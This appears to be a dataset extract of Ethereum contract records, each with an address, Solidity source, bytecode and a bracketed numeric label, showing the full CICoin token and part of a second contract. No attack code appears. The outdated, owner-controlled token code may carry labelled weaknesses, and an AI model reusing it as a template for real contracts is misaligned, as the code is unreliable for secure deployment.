207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f7061757365640000000000000000000000000000000000000000000000000000600082015250565b7f6e6f742070617573656400000000000000000000000000000000000000000000600082015250565b7f61646f7074696f6e2068617320656e6465640000000000000000000000000000600082015250565b6159ce8161507f565b81146159d957600080fd5b50565b6159e581615091565b81146159f057600080fd5b50565b6159fc8161509d565b8114615a0757600080fd5b50565b615a13816150a7565b8114615a1e57600080fd5b50565b615a2a81615101565b8114615a3557600080fd5b50565b615a418161510b565b8114615a4c57600080fd5b5056fea264697066735822122000e17f0d9c5b4c0076584080c62cc3bd72b553a76459b19d6d24bc70a4363c5b64736f6c63430008040033 | [
5
] |
0xf34A0e6B54df071d1efdF96396B9c17f7a0C1E00 | pragma solidity ^0.4.18;
/**
* @title Math
* @dev Assorted math operations
*/
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract CICoin is Ownable, PausableToken {
string public constant name = "CICoin";
string public constant symbol = "CIC";
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 12000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function CICoin() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
// Stop transferring
pause();
}
function transferByOwner(address _to, uint256 _value) public onlyOwner returns (bool) {
// Transfers tokens during ICO
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function() payable {
owner.transfer(msg.value);
}
} | 0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610167578063095ea7b3146101f757806318160ddd1461025c57806321e92d491461028757806323b872dd146102ec5780632ff2e9dc14610371578063313ce5671461039c5780633f4ba83a146103cd5780635c975abb146103e4578063661884631461041357806370a08231146104785780638456cb59146104cf5780638da5cb5b146104e657806395d89b411461053d578063a9059cbb146105cd578063d73dd62314610632578063dd62ed3e14610697578063f2fde38b1461070e575b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610164573d6000803e3d6000fd5b50005b34801561017357600080fd5b5061017c610751565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bc5780820151818401526020810190506101a1565b50505050905090810190601f1680156101e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020357600080fd5b50610242600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061078a565b604051808215151515815260200191505060405180910390f35b34801561026857600080fd5b506102716107ba565b6040518082815260200191505060405180910390f35b34801561029357600080fd5b506102d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c4565b604051808215151515815260200191505060405180910390f35b3480156102f857600080fd5b50610357600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a40565b604051808215151515815260200191505060405180910390f35b34801561037d57600080fd5b50610386610a72565b6040518082815260200191505060405180910390f35b3480156103a857600080fd5b506103b1610a82565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103d957600080fd5b506103e2610a87565b005b3480156103f057600080fd5b506103f9610b47565b604051808215151515815260200191505060405180910390f35b34801561041f57600080fd5b5061045e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b5a565b604051808215151515815260200191505060405180910390f35b34801561048457600080fd5b506104b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b8a565b6040518082815260200191505060405180910390f35b3480156104db57600080fd5b506104e4610bd2565b005b3480156104f257600080fd5b506104fb610c93565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054957600080fd5b50610552610cb9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610592578082015181840152602081019050610577565b50505050905090810190601f1680156105bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105d957600080fd5b50610618600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cf2565b604051808215151515815260200191505060405180910390f35b34801561063e57600080fd5b5061067d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d22565b604051808215151515815260200191505060405180910390f35b3480156106a357600080fd5b506106f8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d52565b6040518082815260200191505060405180910390f35b34801561071a57600080fd5b5061074f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dd9565b005b6040805190810160405280600681526020017f4349436f696e000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156107a857600080fd5b6107b28383610f31565b905092915050565b6000600154905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561082257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561085e57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108ab57600080fd5b6108fc826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061098f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600360149054906101000a900460ff16151515610a5e57600080fd5b610a6984848461105a565b90509392505050565b600860ff16600a0a62b71b000281565b600881565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ae357600080fd5b600360149054906101000a900460ff161515610afe57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610b7857600080fd5b610b828383611414565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c2e57600080fd5b600360149054906101000a900460ff16151515610c4a57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f434943000000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610d1057600080fd5b610d1a83836116a5565b905092915050565b6000600360149054906101000a900460ff16151515610d4057600080fd5b610d4a83836118c4565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e3557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e7157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600082821115151561103157fe5b818303905092915050565b600080828401905083811015151561105057fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561109757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110e457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561116f57600080fd5b6111c0826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611253826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061132482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611525576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115b9565b611538838261102390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156116e257600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561172f57600080fd5b611780826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611813826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061195582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820d41c9809df7ead9d4c169664e61b926e50074ddf2878209d677db60076c447810029 | [
38
] |
0xF34Ae3C7515511E29d8Afe321E67Bdf97a274f1A | // SPDX-License-Identifier: MIT
pragma solidity ^0.5.17;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
